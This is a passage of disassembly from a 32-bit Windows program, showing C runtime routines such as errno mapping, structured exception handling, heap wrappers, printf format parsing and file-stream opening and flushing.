loc_4082EB call sub_408460 mov dword ptr [eax], 0Ch loc_4082EB: ; CODE XREF: sub_408260+7Ej mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_408260 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408300 proc near ; CODE XREF: sub_4079D0+7Bp ; sub_408E40+80p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 91h jz loc_4083D2 jg short loc_40835D cmp ebx, 50h jl short loc_408324 cmp ebx, 59h jg short loc_408335 jmp dword ptr aProtorecvDataS+4[ebx*4] ; --------------------------------------------------------------------------- loc_408324: ; CODE XREF: sub_408300+16j cmp ebx, 1 jl short loc_4083A2 cmp ebx, 43h jg short loc_4083A2 jmp off_40F92C[ebx*4] ; --------------------------------------------------------------------------- loc_408335: ; CODE XREF: sub_408300+1Bj cmp ebx, 6Ch jl short loc_4083A2 cmp ebx, 72h jg short loc_408346 jmp dword ptr a02i02i02iIIIS+7[ebx*4] ; --------------------------------------------------------------------------- loc_408346: ; CODE XREF: sub_408300+3Dj cmp ebx, 80h jl short loc_4083A2 cmp ebx, 84h jg short loc_4083A2 jmp dword ptr aWinsock2_xInit+0Fh[ebx*4] ; --------------------------------------------------------------------------- loc_40835D: ; CODE XREF: sub_408300+11j cmp ebx, 0A4h jz short loc_4083DF cmp ebx, 0A7h jz short loc_4083D2 jg short loc_408381 cmp ebx, 9Eh jz short loc_4083D2 cmp ebx, 0A1h jz short loc_4083B2 jmp short loc_4083A2 ; --------------------------------------------------------------------------- loc_408381: ; CODE XREF: sub_408300+6Dj cmp ebx, 0B7h jl short loc_4083A2 cmp ebx, 0D7h jg short loc_408398 jmp dword ptr aHandshakeBadPa+1[ebx*4] ; --------------------------------------------------------------------------- loc_408398: ; CODE XREF: sub_408300+8Fj cmp ebx, 718h jz short loc_4083C2 jmp short $+2 loc_4083A2: ; CODE XREF: sub_408300+27j ; sub_408300+2Cj ... call sub_408460 mov dword ptr [eax], 16h jmp loc_408452 ; --------------------------------------------------------------------------- loc_4083B2: ; CODE XREF: sub_408300+2Ej ; sub_408300+7Dj ... call sub_408460 mov dword ptr [eax], 2 jmp loc_408452 ; --------------------------------------------------------------------------- loc_4083C2: ; CODE XREF: sub_408300+2Ej ; sub_408300+9Ej ... call sub_408460 mov dword ptr [eax], 0Ch jmp loc_408452 ; --------------------------------------------------------------------------- loc_4083D2: ; CODE XREF: sub_408300+Bj ; sub_408300+2Ej ... call sub_408460 mov dword ptr [eax], 0Dh jmp short loc_408452 ; --------------------------------------------------------------------------- loc_4083DF: ; CODE XREF: sub_408300+2Ej ; sub_408300+63j ... call sub_408460 mov dword ptr [eax], 0Bh jmp short loc_408452 ; --------------------------------------------------------------------------- loc_4083EC: ; CODE XREF: sub_408300+2Ej ; sub_44A621+2Ej ; DATA XREF: ... call sub_408460 mov dword ptr [eax], 11h jmp short loc_408452 ; --------------------------------------------------------------------------- loc_4083F9: ; CODE XREF: sub_408300+2Ej ; sub_44A621+2Ej ; DATA XREF: ... call sub_408460 mov dword ptr [eax], 9 jmp short loc_408452 ; --------------------------------------------------------------------------- loc_408406: ; CODE XREF: sub_408300+2Ej ; sub_44A621+2Ej ; DATA XREF: ... call sub_408460 mov dword ptr [eax], 0Ah jmp short loc_408452 ; --------------------------------------------------------------------------- loc_408413: ; CODE XREF: sub_408300+2Ej ; sub_44A621+2Ej ; DATA XREF: ... call sub_408460 mov dword ptr [eax], 8 jmp short loc_408452 ; --------------------------------------------------------------------------- loc_408420: ; CODE XREF: sub_408300+2Ej ; sub_44A621+2Ej ; DATA XREF: ... call sub_408460 mov dword ptr [eax], 18h jmp short loc_408452 ; --------------------------------------------------------------------------- loc_40842D: ; CODE XREF: sub_408300+2Ej ; sub_44A621+2Ej ; DATA XREF: ... call sub_408460 mov dword ptr [eax], 1Ch jmp short loc_408452 ; --------------------------------------------------------------------------- loc_40843A: ; CODE XREF: sub_408300+2Ej ; sub_44A621+2Ej ; DATA XREF: ... call sub_408460 mov dword ptr [eax], 20h jmp short loc_408452 ; --------------------------------------------------------------------------- loc_408447: ; CODE XREF: sub_408300+2Ej ; sub_44A621+2Ej ; DATA XREF: ... call sub_408460 mov dword ptr [eax], 12h loc_408452: ; CODE XREF: sub_408300+ADj ; sub_408300+BDj ... pop ebx retn sub_408300 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408460 proc near ; CODE XREF: sub_406E30+1Bp ; sub_408260+80p ... call sub_409150 add eax, 8 retn sub_408460 endp ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408478 proc near ; DATA XREF: sub_4071B0+Ao ; sub_4073C0+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz short loc_40850D mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4084A7: ; CODE XREF: sub_408478+8Cj cmp esi, 0FFFFFFFFh jz short loc_40851D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_4084FB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] test eax, eax jz short loc_4084FB js short loc_408506 mov edi, [ebx+8] push ebx call sub_408550 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4085A0 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_408649 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_4084FB: ; CODE XREF: sub_408478+3Cj ; sub_408478+4Ej mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4084A7 ; --------------------------------------------------------------------------- loc_408506: ; CODE XREF: sub_408478+50j mov eax, 0 jmp short loc_408522 ; --------------------------------------------------------------------------- loc_40850D: ; CODE XREF: sub_408478+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4085A0 add esp, 8 pop ebp loc_40851D: ; CODE XREF: sub_408478+32j mov eax, 1 loc_408522: ; CODE XREF: sub_408478+93j pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_408478 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4085A0 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408550 proc near ; CODE XREF: sub_408478+56p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_408568 push [ebp+arg_0] call sub_40D4E0 loc_408568: ; DATA XREF: sub_408550+Bo ; sub_44A871+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_408550 endp ; =============== S U B R O U T I N E ======================================= sub_408570 proc near ; DATA XREF: sub_4085A0+Ao ; DMN0:00408619o ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_408591 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_408591: ; CODE XREF: sub_408570+10j retn sub_408570 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4085A0 proc near ; CODE XREF: sub_408478+63p ; sub_408478+9Cp ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_408570 push large dword ptr fs:0 mov large fs:0, esp loc_4085BD: ; CODE XREF: sub_4085A0:loc_4085F8j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_4085FA cmp esi, [esp+1Ch+arg_4] jz short loc_4085FA lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_4085F8 push 101h mov eax, [ebx+esi*4+8] call sub_408649 call dword ptr [ebx+esi*4+8] loc_4085F8: ; CODE XREF: sub_4085A0+44j jmp short loc_4085BD ; --------------------------------------------------------------------------- loc_4085FA: ; CODE XREF: sub_4085A0+2Aj ; sub_4085A0+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4085A0 endp ; --------------------------------------------------------------------------- align 10h xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_408570 jnz short locret_408632 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_408632 mov eax, 1 locret_408632: ; CODE XREF: DMN0:00408620j ; DMN0:0040862Bj retn ; --------------------------------------------------------------------------- align 10h push ebx push ecx mov ebx, offset dword_411200 jmp short loc_408653 ; =============== S U B R O U T I N E ======================================= sub_408649 proc near ; CODE XREF: sub_408478+74p ; sub_4085A0+4Fp push ebx push ecx mov ebx, offset dword_411200 mov ecx, [ebp+8] loc_408653: ; CODE XREF: DMN0:00408647j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_408649 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408670 proc near ; CODE XREF: sub_407B60+36p push 0 push 1000h push 0 call dword_411DB0 mov dword_4127F0, eax test eax, eax setnz al and eax, 1 retn sub_408670 endp ; --------------------------------------------------------------------------- align 10h mov eax, dword_4127F0 push eax call dword_411DB4 mov dword_4127F0, 0 retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4086B0 proc near ; CODE XREF: sub_408260+71p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DB8 retn sub_4086B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+0Ch] push eax mov eax, [ebp+8] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DBC pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4086F0 proc near ; CODE XREF: sub_4071B0+41p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DC0 retn sub_4086F0 endp ; --------------------------------------------------------------------------- align 10h push ebx push esi mov eax, [esp+0Ch] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DC4 mov ebx, eax cmp eax, 0FFFFFFFFh jnz short loc_408732 xor esi, esi jmp short loc_408734 ; --------------------------------------------------------------------------- loc_408732: ; CODE XREF: DMN0:0040872Cj mov esi, ebx loc_408734: ; CODE XREF: DMN0:00408730j mov eax, esi pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h mov eax, [esp+4] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DC8 test eax, eax setnz al and eax, 1 retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408760 proc near ; CODE XREF: sub_409090+1p mov eax, off_411210 push eax call dword_411CC8 mov eax, off_411214 push eax call dword_411CC8 mov eax, off_411218 push eax call dword_411CC8 mov eax, off_41121C push eax call dword_411CC8 retn sub_408760 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4087A0 proc near ; CODE XREF: DMN0:004090F0p push ebx mov ebx, 4 loc_4087A6: ; CODE XREF: sub_4087A0+2Aj mov eax, off_411210[ebx*4] test eax, eax jz short loc_4087C6 push eax call dword_411DCC mov eax, off_411210[ebx*4] push eax call sub_4071B0 pop ecx loc_4087C6: ; CODE XREF: sub_4087A0+Fj inc ebx cmp ebx, 9 jl short loc_4087A6 mov eax, off_411210 push eax call dword_411DCC mov eax, off_411214 push eax call dword_411DCC mov eax, off_411218 push eax call dword_411DCC mov eax, off_41121C push eax call dword_411DCC pop ebx retn sub_4087A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408800 proc near ; CODE XREF: sub_4071B0+4Bp ; sub_4073C0+28p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx mov ebx, [ebp+arg_0] cmp off_411210[ebx*4], 0 jnz short loc_408865 push 18h call sub_408260 pop ecx mov [ebp+var_4], eax test eax, eax jnz short loc_40882B push 1 call sub_409250 pop ecx loc_40882B: ; CODE XREF: sub_408800+21j push 3 call sub_408800 pop ecx cmp off_411210[ebx*4], 0 jnz short loc_408853 mov eax, [ebp+var_4] push eax call dword_411CC8 mov eax, [ebp+var_4] mov off_411210[ebx*4], eax jmp short loc_40885D ; --------------------------------------------------------------------------- loc_408853: ; CODE XREF: sub_408800+3Bj mov eax, [ebp+var_4] push eax call sub_4071B0 pop ecx loc_40885D: ; CODE XREF: sub_408800+51j push 3 call sub_408880 pop ecx loc_408865: ; CODE XREF: sub_408800+12j mov eax, off_411210[ebx*4] push eax call dword_411CCC pop ebx mov esp, ebp pop ebp retn sub_408800 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408880 proc near ; CODE XREF: sub_40721A+2p ; sub_40741B+2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, off_411210[eax*4] push eax call dword_411CD0 retn sub_408880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088A0 proc near ; CODE XREF: sub_407280+3Dp ; sub_407320+27p ... var_84 = byte ptr -84h var_50 = dword ptr -50h var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = word ptr -8 var_6 = byte ptr -6 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi mov ebx, [ebp+arg_8] mov [ebp+var_48], 0 mov [ebp+var_44], 0 mov eax, [ebp+arg_0] mov [ebp+var_38], eax mov eax, [ebp+arg_4] mov [ebp+var_34], eax mov [ebp+var_10], 0 loc_4088D0: ; CODE XREF: sub_4088A0+A4j ; sub_4088A0+264j mov [ebp+var_4A], 0 lea eax, [ebp+var_48] push eax push 7FFFFFFFh push ebx lea eax, [ebp+var_4A] push eax call sub_409A10 add esp, 10h mov esi, eax test eax, eax jg short loc_4088FD cmp byte ptr [ebx], 0 setnz al and eax, 1 mov esi, eax loc_4088FD: ; CODE XREF: sub_4088A0+50j cmp [ebp+var_4A], 25h jnz short loc_40890C lea eax, [esi-1] mov [ebp+var_50], eax jmp short loc_40890F ; --------------------------------------------------------------------------- loc_40890C: ; CODE XREF: sub_4088A0+62j mov [ebp+var_50], esi loc_40890F: ; CODE XREF: sub_4088A0+6Aj mov eax, [ebp+var_50] mov edi, eax test eax, eax jle short loc_408936 push edi push ebx mov eax, [ebp+var_34] push eax call [ebp+var_38] add esp, 0Ch mov [ebp+var_34], eax test eax, eax jnz short loc_408933 or eax, 0FFFFFFFFh jmp loc_408B0D ; --------------------------------------------------------------------------- loc_408933: ; CODE XREF: sub_4088A0+89j add [ebp+var_10], edi loc_408936: ; CODE XREF: sub_4088A0+76j add ebx, esi cmp [ebp+var_4A], 25h jz short loc_40894E cmp [ebp+var_4A], 0 jnz short loc_4088D0 mov eax, [ebp+var_10] jmp loc_408B0D ; --------------------------------------------------------------------------- loc_40894E: ; CODE XREF: sub_4088A0+9Dj mov [ebp+var_18], 0 mov [ebp+var_1C], 0 mov [ebp+var_20], 0 mov [ebp+var_24], 0 mov [ebp+var_28], 0 mov [ebp+var_2C], 0 mov [ebp+var_8], 0 jmp short loc_408999 ; --------------------------------------------------------------------------- loc_408980: ; CODE XREF: sub_4088A0+10Ej movzx eax, [ebp+var_8] mov edx, offset dword_40FAF0 mov ecx, esi sub ecx, edx or eax, dword_40FAF8[ecx*4] mov [ebp+var_8], ax inc ebx loc_408999: ; CODE XREF: sub_4088A0+DEj movzx eax, byte ptr [ebx] push eax push offset dword_40FAF0 call sub_408F40 add esp, 8 mov esi, eax test eax, eax jnz short loc_408980 cmp byte ptr [ebx], 2Ah jnz short loc_4089D8 mov eax, [ebp+arg_C] add eax, 4 mov [ebp+arg_C], eax mov eax, [eax-4] mov [ebp+var_C], eax test eax, eax jge short loc_4089D5 mov eax, [ebp+var_C] neg eax mov [ebp+var_C], eax or [ebp+var_8], 4 loc_4089D5: ; CODE XREF: sub_4088A0+126j inc ebx jmp short loc_408A0E ; --------------------------------------------------------------------------- loc_4089D8: ; CODE XREF: sub_4088A0+113j mov [ebp+var_C], 0 jmp short loc_4089FD ; --------------------------------------------------------------------------- loc_4089E1: ; CODE XREF: sub_4088A0+16Cj cmp [ebp+var_C], 7FFFFFFFh jge short loc_4089FC mov eax, [ebp+var_C] lea eax, [eax+eax*4] add eax, eax movzx edx, byte ptr [ebx] lea eax, [edx+eax-30h] mov [ebp+var_C], eax loc_4089FC: ; CODE XREF: sub_4088A0+148j inc ebx loc_4089FD: ; CODE XREF: sub_4088A0+13Fj movzx eax, byte ptr [ebx] mov edx, off_411898 test word ptr [edx+eax*2], 1 jnz short loc_4089E1 loc_408A0E: ; CODE XREF: sub_4088A0+136j cmp byte ptr [ebx], 2Eh jz short loc_408A19 or [ebp+var_14], 0FFFFFFFFh jmp short loc_408A69 ; --------------------------------------------------------------------------- loc_408A19: ; CODE XREF: sub_4088A0+171j inc ebx mov eax, ebx cmp byte ptr [eax], 2Ah jnz short loc_408A33 mov eax, [ebp+arg_C] add eax, 4 mov [ebp+arg_C], eax mov eax, [eax-4] mov [ebp+var_14], eax inc ebx jmp short loc_408A69 ; --------------------------------------------------------------------------- loc_408A33: ; CODE XREF: sub_4088A0+17Fj mov [ebp+var_14], 0 jmp short loc_408A58 ; --------------------------------------------------------------------------- loc_408A3C: ; CODE XREF: sub_4088A0+1C7j cmp [ebp+var_14], 7FFFFFFFh jge short loc_408A57 mov eax, [ebp+var_14] lea eax, [eax+eax*4] add eax, eax movzx edx, byte ptr [ebx] lea eax, [edx+eax-30h] mov [ebp+var_14], eax loc_408A57: ; CODE XREF: sub_4088A0+1A3j inc ebx loc_408A58: ; CODE XREF: sub_4088A0+19Aj movzx eax, byte ptr [ebx] mov edx, off_411898 test word ptr [edx+eax*2], 1 jnz short loc_408A3C loc_408A69: ; CODE XREF: sub_4088A0+177j ; sub_4088A0+191j movzx eax, byte ptr [ebx] push eax push offset aHjltzl ; "hjltzL" call sub_408F40 add esp, 8 test eax, eax jz short loc_408A86 mov eax, ebx inc ebx movzx edi, byte ptr [eax] jmp short loc_408A88 ; --------------------------------------------------------------------------- loc_408A86: ; CODE XREF: sub_4088A0+1DCj xor edi, edi loc_408A88: ; CODE XREF: sub_4088A0+1E4j mov eax, edi mov [ebp+var_6], al cmp al, 68h jnz short loc_408A9D cmp byte ptr [ebx], 68h jnz short loc_408A9D mov [ebp+var_6], 62h inc ebx jmp short loc_408ACD ; --------------------------------------------------------------------------- loc_408A9D: ; CODE XREF: sub_4088A0+1EFj ; sub_4088A0+1F4j cmp [ebp+var_6], 6Ch jnz short loc_408AAF cmp byte ptr [ebx], 6Ch jnz short loc_408AAF mov [ebp+var_6], 71h inc ebx jmp short loc_408ACD ; --------------------------------------------------------------------------- loc_408AAF: ; CODE XREF: sub_4088A0+201j ; sub_4088A0+206j cmp [ebp+var_6], 0 jnz short loc_408ACD cmp byte ptr [ebx], 49h jnz short loc_408ACD cmp byte ptr [ebx+1], 36h jnz short loc_408ACD cmp byte ptr [ebx+2], 34h jnz short loc_408ACD mov [ebp+var_6], 71h add ebx, 3 loc_408ACD: ; CODE XREF: sub_4088A0+1FBj ; sub_4088A0+20Dj ... lea eax, [ebp+var_84] push eax mov eax, ebx inc ebx movzx eax, byte ptr [eax] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_409CF0 add esp, 10h test eax, eax jnz short loc_408B0A lea eax, [ebp+var_84] push eax lea eax, [ebp+var_40] push eax call sub_40A430 add esp, 8 test eax, eax jge loc_4088D0 loc_408B0A: ; CODE XREF: sub_4088A0+24Dj or eax, 0FFFFFFFFh loc_408B0D: ; CODE XREF: sub_4088A0+8Ej ; sub_4088A0+A9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4088A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408B20 proc near ; CODE XREF: sub_407320+6p cmp dword_411234, 0 jz short loc_408B2F mov eax, dword_411234 retn ; --------------------------------------------------------------------------- loc_408B2F: ; CODE XREF: sub_408B20+7j push 0 push 0 push 3 push 0 push 3 push 0C0000000h push offset aConout ; "CONOUT$" call dword_411DD0 retn sub_408B20 endp ; --------------------------------------------------------------------------- align 10h cmp dword_411238, 0 jz short loc_408B5F mov eax, dword_411238 retn ; --------------------------------------------------------------------------- loc_408B5F: ; CODE XREF: DMN0:00408B57j push 0 push 0 push 3 push 0 push 3 push 0C0000000h push offset aConin ; "CONIN$" call dword_411DD0 retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408B80 proc near ; CODE XREF: sub_4073C0+35p push ebx push esi xor esi, esi xor ebx, ebx loc_408B86: ; CODE XREF: sub_408B80+4Ej cmp off_411370[ebx*4], 0 jnz short loc_408BAC push 4Ch call sub_408260 pop ecx mov esi, eax test esi, esi jz short loc_408BD0 mov off_411370[ebx*4], esi mov word ptr [esi], 80h jmp short loc_408BD0 ; --------------------------------------------------------------------------- loc_408BAC: ; CODE XREF: sub_408B80+Ej mov eax, off_411370[ebx*4] cmp word ptr [eax], 0 jnz short loc_408BC7 mov esi, off_411370[ebx*4] mov word ptr [esi], 0FF7Fh jmp short loc_408BD0 ; --------------------------------------------------------------------------- loc_408BC7: ; CODE XREF: sub_408B80+37j inc ebx cmp ebx, 100h jb short loc_408B86 loc_408BD0: ; CODE XREF: sub_408B80+1Cj ; sub_408B80+2Aj ... mov eax, esi pop esi pop ebx retn sub_408B80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408BE0 proc near ; CODE XREF: sub_4073C0+45p var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_8] test ebx, ebx jnz short loc_408BF7 xor eax, eax jmp loc_408D1B ; --------------------------------------------------------------------------- loc_408BF7: ; CODE XREF: sub_408BE0+Ej mov ax, [ebx] and ax, 80h mov [ebp+var_2], ax mov edi, ebx mov esi, offset dword_40FB28 mov ecx, 13h rep movsd lea eax, [ebx+48h] mov [ebx+8], eax lea eax, [ebx+48h] mov [ebx+10h], eax lea eax, [ebx+48h] mov [ebx+14h], eax lea eax, [ebx+48h] mov [ebx+2Ch], eax lea eax, [ebx+48h] mov [ebx+18h], eax lea eax, [ebx+48h] mov [ebx+30h], eax lea eax, [ebx+48h] mov [ebx+1Ch], eax lea eax, [ebx+28h] mov [ebx+20h], eax mov eax, [ebp+arg_4] cmp byte ptr [eax], 72h jnz short loc_408C51 mov [ebp+var_8], 1 jmp short loc_408C78 ; --------------------------------------------------------------------------- loc_408C51: ; CODE XREF: sub_408BE0+66j mov eax, [ebp+arg_4] cmp byte ptr [eax], 77h jnz short loc_408C62 mov [ebp+var_8], 1Ah jmp short loc_408C75 ; --------------------------------------------------------------------------- loc_408C62: ; CODE XREF: sub_408BE0+77j mov eax, [ebp+arg_4] cmp byte ptr [eax], 61h setnz al and eax, 1 dec eax and eax, 16h mov [ebp+var_8], eax loc_408C75: ; CODE XREF: sub_408BE0+80j mov eax, [ebp+var_8] loc_408C78: ; CODE XREF: sub_408BE0+6Fj movzx eax, [ebp+var_2] or eax, [ebp+var_8] mov [ebx], ax test word ptr [ebx], 3 jnz short loc_408CBB push ebx call sub_407620 pop ecx xor eax, eax jmp loc_408D1B ; --------------------------------------------------------------------------- loc_408C97: ; CODE XREF: sub_408BE0+E5j ; sub_408BE0+EDj mov eax, [ebp+arg_4] cmp byte ptr [eax], 62h jnz short loc_408CAC test word ptr [ebx], 20h jnz short loc_408CCF or word ptr [ebx], 20h jmp short loc_408CBB ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_408BE0+BDj movzx eax, word ptr [ebx] and eax, 3 cmp eax, 3 jz short loc_408CCF or word ptr [ebx], 3 loc_408CBB: ; CODE XREF: sub_408BE0+A7j ; sub_408BE0+CAj mov eax, [ebp+arg_4] inc eax mov [ebp+arg_4], eax cmp byte ptr [eax], 62h jz short loc_408C97 mov eax, [ebp+arg_4] cmp byte ptr [eax], 2Bh jz short loc_408C97 loc_408CCF: ; CODE XREF: sub_408BE0+C4j ; sub_408BE0+D5j cmp [ebp+arg_0], 0 jz short loc_408CFD mov eax, [ebp+arg_4] push eax movzx eax, word ptr [ebx] push eax mov eax, [ebp+arg_0] push eax call sub_40A6A0 add esp, 0Ch mov [ebx+4], eax cmp dword ptr [ebx+4], 0 jge short loc_408D14 push ebx call sub_407620 pop ecx xor eax, eax jmp short loc_408D1B ; --------------------------------------------------------------------------- loc_408CFD: ; CODE XREF: sub_408BE0+F3j cmp [ebp+arg_C], 0 jge short loc_408D0E push ebx call sub_407620 pop ecx xor eax, eax jmp short loc_408D1B ; --------------------------------------------------------------------------- loc_408D0E: ; CODE XREF: sub_408BE0+121j mov eax, [ebp+arg_C] mov [ebx+4], eax loc_408D14: ; CODE XREF: sub_408BE0+110j call sub_4074C0 mov eax, ebx loc_408D1B: ; CODE XREF: sub_408BE0+12j ; sub_408BE0+B2j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_408BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408D30 proc near ; CODE XREF: sub_4074C0+4Dp arg_0 = dword ptr 4 mov eax, dword_4111A4 cmp dword_4111A0, eax ja short loc_408D44 call sub_40A710 jmp short locret_408D5D ; --------------------------------------------------------------------------- loc_408D44: ; CODE XREF: sub_408D30+Bj mov eax, dword_4111A4 lea edx, [eax+1] mov dword_4111A4, edx mov edx, [esp+arg_0] mov dword_411060[eax*4], edx locret_408D5D: ; CODE XREF: sub_408D30+12j retn sub_408D30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408D60 proc near ; CODE XREF: sub_407540+8p ; sub_407820+D0p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] test ebx, ebx jnz short loc_408DBE push 6 call sub_408800 pop ecx mov [ebp+var_8], 0 mov [ebp+var_4], 0 jmp short loc_408DA8 ; --------------------------------------------------------------------------- loc_408D88: ; CODE XREF: sub_408D60+4Fj mov eax, [ebp+var_4] mov eax, off_411370[eax*4] test eax, eax jz short loc_408DA5 push eax call sub_408D60 pop ecx test eax, eax jge short loc_408DA5 or [ebp+var_8], 0FFFFFFFFh loc_408DA5: ; CODE XREF: sub_408D60+34j ; sub_408D60+3Fj inc [ebp+var_4] loc_408DA8: ; CODE XREF: sub_408D60+26j cmp [ebp+var_4], 100h jl short loc_408D88 push 6 call sub_408880 pop ecx mov eax, [ebp+var_8] jmp short loc_408E30 ; --------------------------------------------------------------------------- loc_408DBE: ; CODE XREF: sub_408D60+Ej test word ptr [ebx], 2000h jnz short loc_408DC9 xor eax, eax jmp short loc_408E30 ; --------------------------------------------------------------------------- loc_408DC9: ; CODE XREF: sub_408D60+63j mov esi, [ebx+8] jmp short loc_408E05 ; --------------------------------------------------------------------------- loc_408DCE: ; CODE XREF: sub_408D60+A8j mov eax, [ebx+10h] sub eax, esi push eax push esi mov eax, [ebx+4] push eax call sub_40A920 add esp, 0Ch mov edi, eax test edi, edi jg short loc_408E03 mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] mov [ebx+18h], eax mov eax, [ebx+8] mov [ebx+30h], eax or word ptr [ebx], 200h or eax, 0FFFFFFFFh jmp short loc_408E30 ; --------------------------------------------------------------------------- loc_408E03: ; CODE XREF: sub_408D60+85j add esi, edi loc_408E05: ; CODE XREF: sub_408D60+6Cj cmp esi, [ebx+10h] jb short loc_408DCE mov eax, [ebx+8] mov [ebx+10h], eax test word ptr [ebx], 0C00h jz short loc_408E1C mov esi, [ebx+8] jmp short loc_408E1F ; --------------------------------------------------------------------------- loc_408E1C: ; CODE XREF: sub_408D60+B5j mov esi, 